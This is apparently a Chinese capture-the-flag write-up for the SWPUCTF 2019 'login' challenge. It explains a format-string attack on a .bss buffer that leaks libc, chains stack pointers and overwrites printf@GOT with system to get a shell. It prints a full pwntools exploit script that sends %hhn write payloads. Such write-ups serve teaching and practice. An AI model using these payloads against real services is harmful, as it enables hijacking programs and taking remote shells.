题目的例行检查我就不放了,将程序放入ida中

很明显的值放入了bss段的格式字符串,所以我们动态调试一下程序

可以看到ebp这个地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48这个指针链接,而ebp这个的值是%6$p的偏移,所以我们可以通过修改%6这里的指针处往0xffd0dd48这里覆盖位printf_got表的位置

相关代码为

可以看到我们成功的在a8也就是偏移为%14的这里写上了printf_got的地址(ebp指针不一样因为我重新打开的,不要介意)

然后再将%15的位置覆盖为printf_got+1的地址(说实话,我也不知道这步是为什么,)

相关代码为

可以看到成功将%14和%15的偏移处修改为了printf@got的地址,然后我们可以将system的地址覆盖到这里,这样当我们输入/bin/sh的时候就可以拿到shell了

相关代码

因为这里我们是一步完成的,所以我们需要再减去0x10的长度

可以看到我们成功的将这里的指针覆盖为了system的地址

完整exp如下

from pwn import *
import time p = process('./pwn1')
#p = remote('node4.buuoj.cn',26202)
libc = ELF('./libc-2.27-i386.so')
p.sendlineafter('name:','aa')
p.sendlineafter('password:','%15$p') p.recvuntil('0x')
#10 14
__libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))
system = libc_base + libc.sym['system']
print('system-->'+hex(system)) p.sendlineafter('Try again!','%6$p')
p.recvuntil('0x')
strack_addr0 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr0-->'+hex(strack_addr0))
#0xffda2994 p.sendlineafter('Try again!','%10$p')
p.recvuntil('0x')
strack_addr1 = int(p.recvuntil('\n',drop=True),16)
print('strack_addr1-->'+hex(strack_addr1))
#0xffd2a9a4
#print_got 0x0804b014
cmd = 'b *0x08048575\n'
#strack_addr1的值就是ebp第二的指针

#---------------将%14的偏移的地址处修改为print_got的地址----------
payload = '%'+str(0x14)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload) #14 payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #b0 payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #04 payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #08 #-------------------将%15的偏移处的地址覆盖为printf_got+1的地址-------------------------------
strack_addr1 = strack_addr1 + 4
payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload1) payload2 = '%'+str(0x15)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload2) #15 payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload3) payload4 = '%'+str(0xb0)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload4) #b0 payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload5) payload6 = '%'+str(0x04)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload6) #04 payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'
p.sendlineafter('Try again!\n',payload7) payload8 = '%'+str(0x08)+'c'+'%10$hhn'
p.sendlineafter('Try again!\n',payload8) #08 #------------------修改为system的地址---------------------------- payload = '%'+str(system & 0xff)+'c'+'%14$hhn' payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn'
print(hex(((system & 0xffff00)>>8)-0x10))
p.sendlineafter('Try again!\n',payload) time.sleep(0.5) p.sendline('/bin/sh') gdb.attach(p,cmd)
p.interactive()

题后修补:注意第一次修改%6的偏移是为了修改指针指向的地址然后修改%10的值是修改地址指针上面的值

结束

SWPUCTF_2019_login(格式字符串偏移bss段)的更多相关文章

  1. 【转】linux代码段,数据段,BSS段, 堆,栈

    转载自 http://blog.csdn.net/wudebao5220150/article/details/12947445  linux代码段,数据段,BSS段, 堆,栈 网上摘抄了一些,自己组 ...

  2. BSS段 data段 text段 堆heap 和 栈stack

    BSS段:BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域.BSS是英文Block Started by Symbol的简称.BSS段属于静态内存分配.   数 ...

  3. C语言初始化——bss段初始化、跃入C、C与汇编

    1.bss段初始化 变量 存放位置 初始化的全局变量 数据段 局部变量 栈 malloc函数分配的 堆 未初始的全局变量 bss段 说明:全局变量在未赋初值时,会被保留到bss段. 测试: #incl ...

  4. linux代码段,数据段,BSS段, 堆,栈(二)

    //main.cpp int a = 0; 全局初始化区  char *p1; 全局未初始化区 main() { int b; 栈 char s[] = "abc"; 栈 char ...

  5. 【转】 BSS段 数据段 代码段 堆栈 指针 vs 引用

    原文:http://blog.csdn.net/godspirits/article/details/2953721 BSS段 数据段 代码段 堆栈 (转+) 声明:大部分来自于维基百科,自由的百科全 ...

  6. 数据段、代码段、堆栈段、BSS段

    在linux中,进程在内存中一般会分为5个段,用来存放从磁盘载入的程序代码,等. 这五个段分别是: BSS段: 通常用来存放程序中未初始化的全局变量的一块内存区域.属于静态内存分配. 问题:全局变量不 ...

  7. 【转】可执行程序包括BSS段、数据段、代码段

    可执行程序包括BSS段.数据段.代码段(也称文本段). 一.BSS BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域.特点是:可 ...

  8. Linux中的段管理,bss段,data段,

    Linux 的段管理, BSS段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域.BSS是英文Block Started by Symbol的简称.BSS段属于静态内存 ...

  9. 浅谈c语言代码段 数据段 bss段

    代码段.数据段.bss段 (1)编译器在编译程序的时候,将程序中的所有的元素分成了一些组成部分,各部分构成一个段,所以说段是可执行程序的组成部分. (2)代码段:代码段就是程序中的可执行部分,直观理解 ...

随机推荐

  1. 15-Transfer Learning

    介绍 迁移学习指的就是,假设你手上有一些跟你现在要进行的task没有直接相关的data,那你能不能用这些没有直接相关的data来帮助我们做一些什么事情.比如说:你现在做的是猫跟狗的classifer, ...

  2. 安装mysql会出现start service错误

    安装MySQL时无法启动服务(could not start the service MYSQL .Error:0)安装mysql会出现start service错误安装mysql时 配置到start ...

  3. [loj2461]完美的队列

    参考论文,这里一共写了论文中的3种做法,第一种做法为强制在线时的做法,第二种为时间复杂度略高的做法(前两种都无法通过),第三种为本题正解,并给出了一种理论复杂度更优的做法 1.做法1 情况1 $\fo ...

  4. [atAGC045A]Xor Battle

    令$f_{i}$(一个集合)表示当第$i$步开始时第0方必胜当且仅当$x\in f_{i}$,初始$f_{n+1}=\{0\}$ 当$p_{i}=0$时,$f_{i}=\{x|x\in f_{i+1} ...

  5. 解决FastJson中"$ref重复引用"的问题方法

    对象的引用重复使用造成了重复引用问题,Fastjson默认开启引用检测将相同的对象写成引用的形式: 1 2 3 4 5 {"$ref": "$"} // 引用根 ...

  6. Redis | 第5章 Redis 中的持久化技术《Redis设计与实现》

    目录 前言 1. RDB 持久化 1.1 RDB 文件的创建与载入 1.2 自动间隔性保存 1.2.1 设置保存条件 1.2.2 dirty 计数器和 lastsave 属性 1.2.3 检查保存条件 ...

  7. 洛谷 P7451 - [THUSCH2017] 杜老师(线性基+根分+结论题)

    题面传送门 看到乘积为平方数我们可以很自然地想到这道题,具体来说,我们对 \(1\sim 10^7\) 中所有质因子标号 \(1,2,\cdots,\pi(10^7)\),对于 \(x\in[l,r] ...

  8. LOJ 2555 & 洛谷 P4602 [CTSC2018]混合果汁(二分+主席树)

    LOJ 题目链接 & 洛谷题目链接 题意:商店里有 \(n\) 杯果汁,第 \(i\) 杯果汁有美味度 \(d_i\),单价为 \(p_i\) 元/升.最多可以添加 \(l_i\) 升.有 \ ...

  9. CF1278F Cards

    CF1278F Cards 首先我们知道,一次拿牌的概率是 $ P(i) = \frac 1 m $ ,同时权值是1,所以期望就是 $ \frac{1} m $,拿 $ n $ 次牌贡献是独立的,就是 ...

  10. 解决 VS Code 无法使用Ctrl+C等快捷键

    背景 VScode 安装 Vim扩展后,无法使用Ctrl+C,Ctrl+X和 Ctrl+V等热键 解决方案 方案一 停用Vim 热键覆盖 # 原因: vim 扩展默认启用Vim ctrl键覆盖常见的V ...